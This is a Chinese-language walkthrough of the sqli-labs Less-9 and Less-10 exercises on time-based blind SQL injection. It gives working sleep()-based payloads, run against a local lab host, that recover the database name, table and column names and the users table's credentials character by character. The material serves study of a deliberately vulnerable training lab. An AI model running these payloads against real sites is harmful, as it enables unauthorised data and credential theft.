Less-9
GET - 盲注 - 基於時間 - 單引號
從題目中我們瞭解到了這是一道關於單引號時間盲注的題,那麼我們先嚐試 ?id=1' 發現返回的結果竟然是 You are in ... 什麼情況?於是分別嘗試 ?id=1 ?id=1" 發現結果都是You are in ... 於是可以大膽的猜測正確的輸入和錯誤的輸入返回的結果被設置成一樣的了。
對比後臺源碼:
從源代碼中證明了我們的猜測,由此也可得出這樣的結論:1.不返回報錯信息頁面,無法進行基於報錯信息的盲注。2.頁面不存在true和false兩種不同的頁面,無法進行對比也就無法進行布爾盲注。
PS
無意間看到別的博客提到Content-length的長度不一樣,也可以來判斷頁面正常與否,所以其實這題可以用布爾型盲注來解決。(有興趣的話可以自己嘗試下)
那麼如何破題?
一般來說,在頁面沒有任何回顯和錯誤信息提示的時候,我們就會測試時間盲注這最後的手法。測試下面3條語句:
http://192.168.33.1/sqli/Less-9/?id=1 and sleep(5)-- #
http://192.168.33.1/sqli/Less-9/?id=1' and sleep(5)-- #
http://192.168.33.1/sqli/Less-9/?id=1" and sleep(5)-- #
發現只有第二條語句頁面延遲了,說明這是單引號時間盲注。
常用的判斷語句:
' and if(1,sleep(5),1) %23
' and if(1=0,1,sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
...........
補充小知識:
使用
if(查詢語句,1,sleep(5))
,即如果我們的查詢語句爲真,那麼直接返回結果;如果我們的查詢語句爲假,那麼過5秒之後返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確。
if(expr1,expr2,expr3)
:判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
sleep(n)
:將程序掛起一段時間 n單位爲秒
1.然後我們就來猜數據庫長度:
?id=1' and if (length(database())=x ,sleep(5),1)--+
x從4開始增加,增加到8有明顯的延遲,說明數據庫的長度是8;
http://192.168.33.1/sqli/Less-9/?id=1' and if(length(database())=8,sleep(5),1) -- #
2.猜數據庫名---> 得到security 數據庫:
當前的數據庫名:可以用 < > = 比較,對字符進行範圍的判斷,然後用二分法不斷縮小範圍
(下面做下演示,後面將簡單演示了)
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)>'r' ,sleep(5),1)-- # 頁面有明顯延遲
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)>'s' ,sleep(5),1)-- # 頁面無明顯延遲
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)>'t' ,sleep(5),1)-- # 頁面無明顯延遲
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),1)='s' ,sleep(5),1)-- # 頁面有明顯延遲
........
http://192.168.33.1/sqli/Less-9/?id=1' and if(left(database(),8)='security' ,sleep(5),1)-- # 頁面有明顯延遲
當然也可以這樣寫:
正確的時候直接返回,不正確的時候等待 5 秒鐘,只給出正確的:
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
說明第一位是 s (ascii 碼是 115)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
說明第一位是 e (ascii 碼是 101)
....
以此類推,我們知道了數據庫名字是 security
3.猜數據庫表
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit x,1),5)='users',sleep(5),1)--+
通過limit x,1 中x的變化,我們找到了users表
http://192.168.33.1/sqli/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1)--+
注意不建議使用這種方法猜數據庫裏的表,這種猜數據庫表的概率太低,這種寫法只能說你知道了security數據庫可能有 users 表但你不確定,用這種語句可以確定數據庫是否有該表,且該表在第幾行,由下圖可知,users表在第四行,而limit是從0開始的,所以x爲3
既然上面的不靠譜,那麼用另外一種方法吧:
正確的時候直接返回,不正確的時候等待 5 秒鐘,只給出正確的:(注意拼寫正確)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,1,sleep(5))--+
.....
猜測第一個數據表的第一位是 e,...依次類推,得到 emails
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,1,sleep(5))--+
.......
猜測第二個數據表的第一位是 r,...依次類推,得到 referers
......
再以此類推,我們可以得到所有的數據表 emails,referers,uagents,users
4.猜users表裏的列 (ASCII碼 i-105)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,1,sleep(5))--+
猜測 users 表的第一個列的第一個字符是 i,
以此類推,我們得到列名是 id,username,password(and table_schema=database()這條語句不能少是因爲要排除其他數據庫可能也會有users表)
5.猜username的值(ASCII碼 D=68)
http://192.168.33.1/sqli/Less-9/?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+
猜測 username 的第一行的第一位
以此類推,我們得到數據庫 username,password 的所有內容
以上的過程就是我們利用 sleep()函數注入的整個過程,當然了也可以利用BENCHMARK()函數進行注入,這裏可以自行進行測試。
其實if(查詢語句,1,sleep(5))
裏面的查詢
語句都可以換成布爾盲注的語句,參考less-5,同理Less-5的語句也能換成less-9的查詢語句,要靈活運用。
如:獲取users表裏的內容(D-68)
http://192.168.33.1/sqli/Less-9/?id=1'and If(
ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68
,1,sleep(5))--+
正確的時候直接返回,不正確的時候等待 5 秒鐘
http://192.168.33.1/sqli/Less-5/?id=1'and ascii(substr((select username from users limit 0,1),1,1))=68--+
============================= 我是分割線 =============================
腳本:
暫未發現好的腳本。
============================= 我是分割線 =============================
Less-10
GET - 盲注 - 基於時間 - 單引號
從題目中我們可以得出這是一道關於雙引號時間盲注的題,也就是和Less-9十分類似,只需把單引號 ' 替換成雙引號 " 其他操作不變。
查看下源碼:
所以重複的輪子不在造了,可自行嘗試。